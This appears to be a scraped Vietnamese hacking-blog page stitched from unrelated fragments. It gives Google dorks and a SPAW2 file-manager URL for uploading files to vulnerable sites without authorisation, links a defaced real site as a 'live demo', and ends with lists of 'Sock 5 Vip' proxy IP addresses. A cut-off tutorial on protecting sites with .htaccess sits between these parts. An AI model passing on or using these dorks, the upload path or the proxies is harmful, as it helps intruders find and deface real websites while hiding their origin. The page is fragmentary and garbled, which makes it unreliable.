PHP Remote - File Uploading Vulnerability

Dork:

inurl:”cadastro.php?TipodeConta=

Choose any sites... This form will be appeared :

Spaw Uploader (Vulnerability)

Dork:

inurl:”spaw2/uploads/files/”

Change spaw2/uploads/files/ to:

spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

Live Demo:

http://www.tieca.com/backoffice_tieca/spaw2/uploads/files/Crash_Hydra_Skull.html

Bảo vệ Website bằng .htaccess !!!

Có khá nhiều tài liệu về .htaccess. Cái này tôi chỉ update thêm cho các tài liệu đó.

1. .htaccess là gì?

1.1. .htaccess là gì

.htaccess là một file cấu hình sử dụng cho các web server chạy Apache. .htaccess dùng để thiết lập các tùy chọn: thực thi hay loại bỏ các chức năng, tính năng của Apache

1.2. Ý nghĩa ký hiệu định nghĩa trong .htaccess

Sock 5 Vip!! (27/06/2014)

109.251.74.247:21723
166.78.137.15:46907
173.24.67.160:31197
178.171.36.104:14932
187.189.119.243:13909
190.254.163.158:26894
190.90.193.202:443
198.50.136.217:60088
207.183.232.242:41916
211.167.76.180:45372
221.214.214.187:11180
24.211.165.13:52449
24.227.33.82:48064
24.234.245.37:49327
24.47.57.4:23318
61.147.67.2:9123
65.25.3.26:54790
65.27.113.74:33117
65.28.48.177:44307
66.137.224.128:25028
66.30.76.140:43738
68.144.54.142:22223
69.251.81.230:54455
69.68.129.61:20376
70.166.136.165:45077
75.128.223.139:18789
75.167.78.51:50212
75.99.187.138:35822
76.112.48.14:28314
77.242.22.254:8741
78.39.178.2:443
80.114.179.158:32501
80.62.217.19:9100
86.38.220.80:44424
98.117.63.101:32095
98.145.67.82:48271
98.213.60.209:50142
98.236.230.54:37445

Sock 5 Vip! (25/06/2014)

114.26.208.76:6238
123.30.188.46:2214
172.242.214.14:17698
173.93.169.207:48581
174.54.103.213:43615
184.90.146.71:32637
185.4.29.169:443
199.193.153.72:3308
199.201.126.67:443
211.100.47.140:7098
213.250.211.130:52427
217.219.169.48:443
217.66.27.149:2379
219.147.172.2:12345
221.214.214.187:11180
222.240.175.79:8580
24.242.107.191:28304
24.32.119.168:47657